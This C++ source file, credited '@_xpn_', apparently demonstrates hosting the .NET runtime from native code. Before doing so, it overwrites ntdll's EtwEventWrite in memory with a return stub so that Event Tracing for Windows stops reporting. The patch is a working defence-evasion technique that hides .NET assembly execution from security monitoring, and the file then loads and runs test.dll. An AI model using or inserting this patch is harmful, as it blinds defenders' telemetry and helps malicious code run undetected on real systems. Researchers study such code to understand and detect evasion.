#include #include #include #include #include int main() { ICLRMetaHost* metaHost = NULL; IEnumUnknown* runtime = NULL; ICLRRuntimeInfo* runtimeInfo = NULL; ICLRRuntimeHost* runtimeHost = NULL; IUnknown* enumRuntime = NULL; LPWSTR frameworkName = NULL; DWORD bytes = 2048, result = 0; HRESULT hr; DWORD oldProt, oldOldProt; printf("CLR via native code.... @_xpn_\n\n"); // Get the EventWrite function void* eventWrite = GetProcAddress(LoadLibraryA("ntdll"), "EtwEventWrite"); // Allow writing to page VirtualProtect(eventWrite, 4, PAGE_EXECUTE_READWRITE, &oldProt); // Patch with "ret 14" on x86 memcpy(eventWrite, "\xc2\x14\x00\x00", 4); // Return memory to original protection VirtualProtect(eventWrite, 4, oldProt, &oldOldProt); if (CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)& metaHost) != S_OK) { printf("[x] Error: CLRCreateInstance(..)\n"); return 2; } if (metaHost->EnumerateInstalledRuntimes(&runtime) != S_OK) { printf("[x] Error: EnumerateInstalledRuntimes(..)\n"); return 2; } frameworkName = (LPWSTR)LocalAlloc(LPTR, 2048); if (frameworkName == NULL) { printf("[x] Error: malloc could not allocate\n"); return 2; } // Enumerate through runtimes and show supported frameworks while (runtime->Next(1, &enumRuntime, 0) == S_OK) { if (enumRuntime->QueryInterface(&runtimeInfo) == S_OK) { if (runtimeInfo != NULL) { runtimeInfo->GetVersionString(frameworkName, &bytes); wprintf(L"[*] Supported Framework: %s\n", frameworkName); } } } result = runtimeInfo->SetDefaultStartupFlags(1, NULL); // For demo, we just use the last supported runtime if (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)& runtimeHost) != S_OK) { printf("[x] ..GetInterface(CLSID_CLRRuntimeHost...) failed\n"); return 2; } if (runtimeHost == NULL || bytes == 0) { wprintf(L"[*] Using runtime: %s\n", frameworkName); } // Start runtime, and load our assembly runtimeHost->Start(); printf("[*] ======= Calling .NET Code =======\n\n"); if (runtimeHost->ExecuteInDefaultAppDomain( L"test.dll", L"test.Program", L"test", L"argtest", &result ) != S_OK) { printf("[x] Error: ExecuteInDefaultAppDomain(..) failed\n"); return 2; } printf("[*] ======= Done =======\n"); return 0; }